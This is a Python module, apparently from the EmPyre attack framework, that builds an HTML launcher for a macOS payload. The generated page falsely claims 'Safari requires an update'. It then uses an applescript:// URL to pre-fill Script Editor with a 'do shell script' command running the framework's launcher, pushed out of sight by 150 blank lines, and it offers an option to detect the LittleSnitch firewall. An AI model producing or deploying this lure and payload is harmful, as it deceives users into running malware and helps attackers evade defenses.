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from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Launcher',
'Author': ['@424f424f'],
'Description': ('Generates an HTML payload launcher for EmPyre.'),
'Comments': [
'https://www.exploit-db.com/exploits/38535/'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'OutFile' : {
'Description' : 'File to output launcher to, otherwise displayed on the screen.',
'Required' : False,
'Value' : ''
},
'LittleSnitch' : {
'Description' : 'Switch. Check for the LittleSnitch process, exit the staging process if it is running. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'Base64' : {
'Description' : 'Switch. Base64 encode the output.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
base64 = self.options['Base64']['Value']
userAgent = self.options['UserAgent']['Value']
LittleSnitch = self.options['LittleSnitch']['Value']
encode = False
if base64.lower() == "true":
encode = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, littlesnitch=LittleSnitch)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
launcher = launcher.replace("'", "\\\'")
launcher = launcher.replace('"', '\\\\"')
html = """
<html><head></head><body><H2> Safari requires an update. Press cmd-R to refresh. Make sure to press the play button on the script box to begin the update</H2>
<script>
var as = Array(150).join("\\n") +
'do shell script "%s"';
var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
window.onkeydown = function(e) {
if (e.keyCode == 91) {
window.location = url;
}
};
</script></body></html>
""" % (launcher)
return html
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